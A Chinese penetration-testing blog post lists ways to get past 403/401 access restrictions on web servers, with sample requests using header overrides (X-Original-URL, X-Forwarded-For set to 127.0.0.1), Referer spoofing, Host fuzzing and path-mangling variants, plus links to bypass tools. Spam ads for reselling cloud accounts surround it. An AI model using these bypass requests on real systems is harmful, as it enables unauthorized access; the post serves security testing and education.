渗透测试-渗透中403/401页面绕过的思路总结

  • 阿里云国际版折扣https://www.yundadi.com

  • 阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

    渗透中403/401页面绕过的思路总结

    文章目录

    0x01 前言

    做渗透时经常会碰到扫到的资产403的情况特别是资产微乎其微的情况下面试有时也会问到这里做个总结
    在这里插入图片描述

    0x02 利用姿势

    1.端口利用

    扫描主机端口找其它开放web服务的端口访问其端口挑软柿子。

    2.修改HOST

    Host在请求头中的作用在一般情况下几个网站可能会部署在同一个服务器上或者几个web系统共享一个服务器通过host头来指定应该由哪个网站或者web系统来处理用户的请求。而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置但是很多开发人员并未意识到HTTP HOST头由用户控制从安全角度来讲任何用户输入都是认为不安全的。

    修改客户端请求头中的Host可以通过修改Host值修改为子域名或者ip来绕过来进行绕过二级域名首先对该目标域名进行子域名收集整理好子域名资产host字段同样支持IP地址。先Fuzz测试跑一遍收集到的子域名这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值成功绕过访问限制。

    3.覆盖请求URL

    尝试使用X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URL和X-Rewrite-URL标头用户可以使用这俩请求标头覆盖请求URL中的路径尝试绕过对更高级别的缓存和Web服务器的限制

    Request
    GET /auth/login HTTP/1.1
    Response
    HTTP/1.1 403 Forbidden

    Reqeust
    GET / HTTP/1.1
    X-Original-URL: /auth/login
    Response
    HTTP/1.1 200 OK

    或者
    Reqeust
    GET / HTTP/1.1
    X-Rewrite-URL: /auth/login
    Response
    HTTP/1.1 200 OK

    4.Referer标头绕过

    尝试使用Referer标头绕过Web服务器的限制。
    介绍Referer请求头包含了当前请求页面的来源页面的地址即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。

    Request
    GET /auth/login HTTP/1.1
    Host: xxx
    Response
    HTTP/1.1 403 Forbidden

    Reqeust
    GET / HTTP/1.1
    Host: xxx
    ReFerer:https://xxx/auth/login
    Response
    HTTP/1.1 200 OK

    或者
    Reqeust
    GET /auth/login HTTP/1.1
    Host: xxx
    ReFerer:https://xxx/auth/login
    Response
    HTTP/1.1 200 OK

    5.代理IP

    一般开发者会通过Nginx代理识别访问端IP限制对接口的访问尝试使用X-Forwarded-For、X-Forwared-Host等标头绕过Web服务器的限制。

    X-Originating-IP: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Forwared-Host: 127.0.0.1
    X-Host: 127.0.0.1
    X-Custom-IP-Authorization: 127.0.0.1

    Request
    GET /auth/login HTTP/1.1
    Response
    HTTP/1.1 401 Unauthorized

    Reqeust
    GET /auth/login HTTP/1.1
    X-Custom-IP-Authorization: 127.0.0.1
    Response
    HTTP/1.1 200 OK

    6.扩展名绕过

    基于扩展名用于绕过403受限制的目录。

    site.com/admin => 403
    site.com/admin/ => 200
    site.com/admin// => 200
    site.com//admin// => 200
    site.com/admin/* => 200
    site.com/admin/*/ => 200
    site.com/admin/. => 200
    site.com/admin/./ => 200
    site.com/./admin/./ => 200
    site.com/admin/./. => 200
    site.com/admin/./. => 200
    site.com/admin? => 200
    site.com/admin?? => 200
    site.com/admin??? => 200
    site.com/admin…;/ => 200
    site.com/admin/…;/ => 200
    site.com/%2f/admin => 200
    site.com/%2e/admin => 200
    site.com/admin%20/ => 200
    site.com/admin%09/ => 200
    site.com/%20admin%20/ => 200

    7.扫描的时候

    遇到403了上目录扫描工具扫目录扫文件记住扫描的时候要打开探测403因为有些网站的目录没有权限访问会显示403但是在这个目录下面的文件我们或许能扫描到并访问

    8.最后补充再一些401和403 bypass的tips

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    Github上一些bypass 403的脚本

    https://github.com/sting8k/BurpSuite_403Bypasser
    https://github.com/yunemse48/403bypasser
    https://github.com/devploit/dontgo403
    https://github.com/daffainfo/bypass-403

    以及403bypass的wiki
    https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass

    在这里插入图片描述

  • 阿里云国际版折扣https://www.yundadi.com

  • 阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6